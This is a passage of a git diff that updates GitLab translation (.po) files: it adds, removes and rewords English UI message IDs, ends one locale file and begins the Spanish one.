-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr "Kreu %{new_merge_request} kun ĉi tiuj ÅanÄoj"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "La rilato de disbranĉigo estis forigita."
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "Malsteligi"
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr "Via nomo"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/es/gitlab.po b/locale/es/gitlab.po
index 4b34a8e1cf2..ad2c816e25e 100644
--- a/locale/es/gitlab.po
+++ b/locale/es/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: es-ES\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:39\n"
+"PO-Revision-Date: 2023-01-10 06:43\n"
msgid " %{start} to %{end}"
msgstr " %{start} hasta %{end}"
@@ -750,6 +750,9 @@ msgstr "%{italic_start}Novedades%{italic_end} está inactivo y no se puede ver."
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} incidencias con un límite de %{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Respuesta actual:%{labelEnd} %{headers}"
@@ -822,6 +825,9 @@ msgstr "%{level_name} no está permitido en un grupo de %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} no está permitido debido a que el fork del proyecto origen tiene una menor visibilidad."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} no se puede añadir: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} versión"
@@ -970,6 +982,11 @@ msgstr "%{reportType} detectó %{totalStart}%{total}%{totalEnd} potencial %{vuln
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}Inténtelo de nuevo%{retryButtonEnd} o %{newFileButtonStart}adjunte un archivo nuevo%{newFileButtonEnd}."
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] "%{selectedProjectsCount} proyecto"
msgstr[1] "%{selectedProjectsCount} proyectos"
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} Gb"
@@ -1116,11 +1130,6 @@ msgstr "%{template_project_id} es desconocido o no es válido"
msgid "%{text} is available"
msgstr "%{text} esta disponible"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,9 +1550,9 @@ msgstr[0] "1 rol"
msgstr[1] "%d roles"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 usuario"
-msgstr[1] "%{num} usuarios"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr "Ya hay un rebase en progreso."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Se ha realizado un inicio de sesión en su cuenta desde la siguiente dirección IP: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "Se requiere un título"
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr "Error de servicio de AWS: %{error}"
-
msgid "Abort"
msgstr "Cancelar"
@@ -1963,9 +1972,6 @@ msgstr "Tokens de acceso"
msgid "Access denied for your LDAP account."
msgstr "Acceso denegado para su cuenta LDAP."
-msgid "Access denied: %{error}"
-msgstr "Acceso denegado: %{error}"
-
msgid "Access expires"
msgstr "El acceso expira"
@@ -2125,8 +2131,8 @@ msgstr "Acciones"
msgid "Activate Service Desk"
msgstr "Activar Service Desk"
-msgid "Activated on"
-msgstr "Activado el"
+msgid "Activated"
+msgstr ""
msgid "Active"
msgstr "Activo"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr "Añadir una sección colapsable"
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Añadir un comentario a esta línea"
@@ -2581,15 +2590,18 @@ msgstr "Usuarios activos"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr "Todos los usuarios creados en la instancia, incluyendo quienes no son %{billable_users_link_start}usuarios facturables%{billable_users_link_end}."
-msgid "AdminArea|Billable users"
-msgstr "Usuarios facturables"
-
msgid "AdminArea|Blocked users"
msgstr "Usuarios bloqueados"
msgid "AdminArea|Bots"
msgstr "Bots"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "Componentes"
@@ -2671,9 +2683,18 @@ msgstr "Detener trabajos"
msgid "AdminArea|Stopping jobs failed"
msgstr "Error al detener trabajos"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "Usuarios totales"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr "Ver usuarios más recientes"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Se ha producido un error al cargar las estadísticas. Por favor, inténtalo de nuevo"
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr "Dominio Auto DevOps"
